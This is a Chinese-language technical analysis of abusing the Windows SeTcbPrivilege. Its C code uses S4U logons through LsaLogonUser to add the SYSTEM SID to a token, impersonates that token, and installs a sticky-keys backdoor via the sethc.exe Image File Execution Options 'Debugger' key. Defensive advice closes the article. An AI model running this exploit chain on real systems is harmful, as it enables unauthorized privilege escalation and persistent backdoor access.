Token Privileges Abusing - SeTcbPrivilege
字数 1213 2025-08-06 08:34:49
SeTcbPrivilege 特权滥用技术分析
1. SeTcbPrivilege 特权概述
SeTcbPrivilege("Act as part of the operating system")是Windows系统中一个强大的特权,通常被描述为等同于对机器的完全特权访问。拥有该特权的进程可以:
- 调用LsaLogonUser()函数创建登录令牌
- 执行创建任意用户令牌的操作
- 充当系统任意用户身份
2. LsaLogonUser 函数分析
LsaLogonUser函数是特权滥用的核心API,其定义如下:
NTSTATUS LsaLogonUser(
[in] HANDLE LsaHandle,
[in] PLSA_STRING OriginName,
[in] SECURITY_LOGON_TYPE LogonType,
[in] ULONG AuthenticationPackage,
[in] PVOID AuthenticationInformation,
[in] ULONG AuthenticationInformationLength,
[in, optional] PTOKEN_GROUPS LocalGroups,
[in] PTOKEN_SOURCE SourceContext,
[out] PVOID *ProfileBuffer,
[out] PULONG ProfileBufferLength,
[out] PLUID LogonId,
[out] PHANDLE Token,
[out] PQUOTA_LIMITS Quotas,
[out] PNTSTATUS SubStatus
);
关键参数说明:
-
LogonType:指定登录类型
- Interactive或Batch:生成主令牌
- Network:生成模拟令牌
-
LocalGroups:可向令牌中添加额外组SID
-
SeTcbPrivilege特权需求场景:
- 使用子身份验证包
- 使用KERB_S4U_LOGON请求模拟令牌
- LocalGroups参数不为NULL
3. S4U登录技术
3.1 S4U登录结构
KERB_S4U_LOGON结构
typedef struct _KERB_S4U_LOGON {
KERB_LOGON_SUBMIT_TYPE MessageType;
ULONG Flags;
UNICODE_STRING ClientUpn; // 客户端UPN
UNICODE_STRING ClientRealm; // 客户端域
} KERB_S4U_LOGON, *PKERB_S4U_LOGON;
MSV1_0_S4U_LOGON结构
typedef struct _MSV1_0_S4U_LOGON {
MSV1_0_LOGON_SUBMIT_TYPE MessageType;
ULONG Flags;
UNICODE_STRING UserPrincipalName; // 用户名或username@domain
UNICODE_STRING DomainName; // 域名称
} MSV1_0_S4U_LOGON, *PMSV1_0_S4U_LOGON;
3.2 技术原理
关键思路:使用LsaLogonUser将管理员组或SYSTEM账户组SID添加到当前用户令牌中,然后进行模拟。
- 将"S-1-5-18"(SYSTEM账户SID)添加到令牌的LocalGroups中
- 设置令牌完整性级别为Medium
- 模拟生成的令牌
4. 完整利用流程
4.1 主要步骤
- 启用SeTcbPrivilege特权
- 初始化LSA连接
- 准备S4U登录结构
- 构造TOKEN_GROUPS添加SYSTEM SID
- 调用LsaLogonUser获取模拟令牌
- 设置令牌完整性级别
- 模拟令牌
- 执行特权操作(如设置粘滞键后门)
4.2 关键代码实现
启用SeTcbPrivilege
BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
BOOL status = FALSE;
LUID luidValue = {0};
TOKEN_PRIVILEGES tokenPrivileges;
// 获取特权LUID
if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
return FALSE;
}
// 设置特权信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 调整令牌特权
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges,
sizeof(tokenPrivileges), NULL, NULL)) {
return FALSE;
}
return TRUE;
}
LSA初始化
NTSTATUS LsaInit() {
NTSTATUS status = 0;
// 建立LSA连接
status = LsaConnectUntrusted(&hLSA);
if (status != STATUS_SUCCESS) {
return status;
}
// 查找身份验证包
status = LsaLookupAuthenticationPackage(hLSA, &MSV1_0_PackageName,
&ulAuthenticationPackage);
return status;
}
S4U登录执行
NTSTATUS DoS4U(HANDLE hToken) {
// ...初始化变量...
// 转换SYSTEM SID
WCHAR systemSID[] = L"S-1-5-18";
ConvertStringSidToSidW(systemSID, &pExtraSid);
// 准备S4U登录结构
dwMsgS4ULength = sizeof(MSV1_0_S4U_LOGON) +
(EXTRA_SID_COUNT + (DWORD)wcslen(szDomain) +
(DWORD)wcslen(szUsername)) * sizeof(WCHAR);
pS4uLogon = (PMSV1_0_S4U_LOGON)LocalAlloc(LPTR, dwMsgS4ULength);
// 填充S4U登录信息
pS4uLogon->MessageType = MsV1_0S4ULogon;
pbPosition = (PBYTE)pS4uLogon + sizeof(MSV1_0_S4U_LOGON);
pbPosition = InitUnicodeString(&pS4uLogon->UserPrincipalName,
szUsername, pbPosition);
pbPosition = InitUnicodeString(&pS4uLogon->DomainName,
szDomain, pbPosition);
// 准备TOKEN_GROUPS添加SYSTEM SID
pGroups = (PTOKEN_GROUPS)LocalAlloc(LPTR,
sizeof(TOKEN_GROUPS) + 2 * sizeof(SID_AND_ATTRIBUTES));
pGroups->Groups[pGroups->GroupCount].Attributes =
SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY;
pGroups->Groups[pGroups->GroupCount].Sid = pExtraSid;
pGroups->GroupCount++;
// 调用LsaLogonUser
status = LsaLogonUser(
hLSA, &OriginName, Network, ulAuthenticationPackage,
pS4uLogon, dwMsgS4ULength, pGroups, &TokenSource,
&pvProfile, &dwProfile, &logonId, &hTokenS4U,
"aLimits, &subStatus
);
// 设置令牌完整性级别为Medium
WCHAR mediumInt[] = L"S-1-16-8192";
PSID mediumSID = NULL;
ConvertStringSidToSidW(mediumInt, &mediumSID);
TIL.Label.Attributes = SE_GROUP_INTEGRITY;
TIL.Label.Sid = mediumSID;
SetTokenInformation(hTokenS4U, TokenIntegrityLevel, &TIL,
sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(mediumSID));
// 模拟令牌
hThread = GetCurrentThread();
SetThreadToken(&hThread, hTokenS4U);
// 执行特权操作
ExploitSeTcbPrivilege();
return status;
}
设置粘滞键后门
void ExploitSeTcbPrivilege() {
HKEY hKey;
LPCWSTR lpCommand = L"\"C:\\Windows\\System32\\cmd.exe\"";
// 创建注册表项
RegCreateKeyExW(
HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
0, NULL, NULL, KEY_SET_VALUE, NULL, &hKey, NULL
);
// 设置Debugger值
RegSetValueExW(
hKey, L"Debugger", 0, REG_SZ,
(const BYTE*)lpCommand, (wcslen(lpCommand) + 1) * sizeof(WCHAR)
);
}
5. 防御建议
-
特权管理:
- 严格控制SeTcbPrivilege特权的分配
- 遵循最小特权原则
-
监控措施:
- 监控LsaLogonUser API的调用
- 特别关注使用S4U登录类型的调用
-
系统加固:
- 限制注册表关键位置的写入权限
- 启用Windows Defender等安全产品的攻击面减少规则
-
审计日志:
- 启用详细的安全审计日志
- 监控特权令牌的创建和修改操作
6. 总结
SeTcbPrivilege特权滥用技术通过利用LsaLogonUser函数的S4U登录功能,结合LocalGroups参数添加SYSTEM SID,能够实现权限提升。这种技术的关键在于:
- 正确构造S4U登录结构
- 通过LocalGroups参数注入高权限SID
- 合理设置令牌完整性级别以实现模拟
- 最终通过令牌模拟执行特权操作
理解这一技术有助于安全研究人员更好地评估Windows特权模型的安全性,并为防御此类攻击提供理论基础。